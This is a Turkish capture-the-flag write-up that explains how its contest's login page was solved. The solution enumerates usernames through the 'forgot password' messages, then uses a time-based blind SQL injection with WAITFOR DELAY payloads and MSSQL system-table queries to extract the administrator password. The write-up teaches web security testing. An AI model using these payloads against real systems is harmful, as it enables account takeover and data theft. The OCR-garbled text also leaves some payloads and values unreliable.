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‘Etik Saldir, Kitap Kazan’ ana bashgi altinda dordincisinl dizenledigimiz CTF yarismasini gectigimiz
glnlerde sonlandirdik. Yarismaya gosterilen ilgi icin tesekkiir ediyor, Web Glvenligi Toplulugu adina
yarismada tek dogru cevabi génderen Serkan Ozkan’i tebrik ediyoruz.

Senaryo

Senaryonun baslangicini tglinct CTF gibi hazirladim. CTF’e erisim saglamak igin kullanicilarin giris
sayfasini bulmalar ve daha sonra giris sayfasindaki ‘login’ ve ‘sifremi unuttum’ alanlarini kullanarak,
login alanini basarili bir sekilde gegmeleri ve karsilasacaklari sayfadaki parolayi bizlere mail atarak
iletmeleri gerekiyordu.

Cozum
Bir dnceki CTF'te ki giris sayfasini deneyecek olanlar icin soyle bir sayfa hazirlamistim;
http://ctf.webguvenligi.org/SistemeGirisSayfasi.aspx
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Bu sefer bu kadar kolay degil :)

Ama asll giris sayfamiz;
http://ctf.webguvenligi.org/Login.aspx



http://ctf.webguvenligi.org/SistemeGirisSayfasi.aspx
http://ctf.webguvenligi.org/Login.aspx
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Giris sayfamizda bizi bir ‘giris alani’ ve ‘sifremi unuttum’ moduli karsiliyor olacakti.

Daha 6nce WGT E-Dergi’de yazdigim ‘Kullanici Hesap Adlarinin Tespiti’ [1] makalesinde anlatilan
yontemler ile, sifremi unuttum alanindan dogru kullanici adlarini elde etmeniz gerekiyordu.

Kullanici adini ve mail adresini yanlis yazdiginiz durumda verilecek uyari; “Wrong e-mail and user
name” iken, kullanici adini dogru fakat mail adresini yine yanlis yazdiginiz durumda verilecek uyari;
“Wrong e-mail” idi. Asagidaki sekilde kullanici adini ‘administrator’ olarak yazdiginiz durumda, dogru
bir kullanici adi tespit ettiginizi fark edecektiniz;

administrator

orhan@gencebay.com

Neden dogru kullanici adina ihtiyacimiz vardi ? Clinki login alanindaki SQL Injection zafiyeti, sadece
dogru kullanici adiile calismakta.

Yani kullanici adi alanina dogru kullanici adi olan ‘administrator’ yazilacak, sifre kisminda SQL
Injection icin gerekli saldirn pattern’i olacak, Role olarak da ‘Boss’ secip sayfayr POST etmek
gerekecek.



administrataor

), WAITFOR DELAY '0:02

e User: administrator
e Password: ‘); WAITFOR DELAY ‘0:0:20’--
e Role: Boss

bilgileriyle ilgili alanlari doldurarak sayfaylr post ettiginizde, cevabin 20sn sonra geldigini tespit
edecektiniz.

ACTUAL PERFORMANCE

ClientBeginRequest: 21:26:21.596
ClientDoneRequest: 21:26:21.596
DNS Lookup: 3ms
HTTPS Handshake: Oms
ServerConnected: 21:26:21.832

ServerGotRequest: 21:26:21.832
ServerBeginResponse: 21:26:42.196
ServerDoneResponse: 21:26:42.196
ClientBeginResponse: 21:26:42.196
ClientDoneResponse: 21:26:42.196

Yani Zaman Tabanlh SQL Injection zafiyeti oldugunu bu sekilde dogrulamis olacaktiniz. [2]

ilgili zafiyeti kullanarak veritabanindan veri cekebilmek icin, asagidakina benzer bir sorgu hazirlamaniz
yeterli olacakti.

');DECLARE @x as int;DECLARE @w as char(6);
SET @x=ASCII(SUBSTRING(({INJECTION}),1,1));

IF @x>97 SET @w='0:0:14' ELSE SET @w='0:0:01";
WAITFOR DELAY @w--

{INJECTION} olarak belirtilen yere c¢alismasini istediginiz SQL sorgusunu vyazip isteklerinizi
gerceklestirerek administrator kullanicisina ait sifreyi elde etmeniz gerekecekti.

Bunun icinde asagidaki sorgulari adim adim izlemeniz sizi dogru sonuca gotirecektir;



SELECT TOP (1) name FROM sysobjects WHERE
xtype = ‘U’

Tablo isimlerinin saklandigi tablodan ilk siradaki
tablo ismini donderecektir (tblUsers)

SELECT TOP (1) name FROM syscolumns WHERE
id = (SELECT id FROM sysobjects WHERE name =
‘tblUsers’)

Kolon isimlerinin saklandigi tablodan, tblUsers
tablosuna ait ilk siradaki kolon ismini getirecektir

SELECT userPassword FROM tblUsers WHERE
userName = ‘administrator’

Tablo ve kolon isimlerini 6grendikten sonra da
ilgili sorguyu yazmaniz gerekiyordu.

Son sorguyu, yukarida verdigim Zaman Tabanl SQL Injection zafiyetini sOmirebileceginiz sorguyla
birlestirerek, administrator kullanicisina ait sifreyi elde edebilecektiniz: “58svs58svs”

H8svshBsvs

Dogru bilgileri girip giris yaptiginizda ise asagidaki sayfa ile karsilasacaktiniz;
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Parola her temas iz birakir' fletigim: dergi@webguvenligi.org
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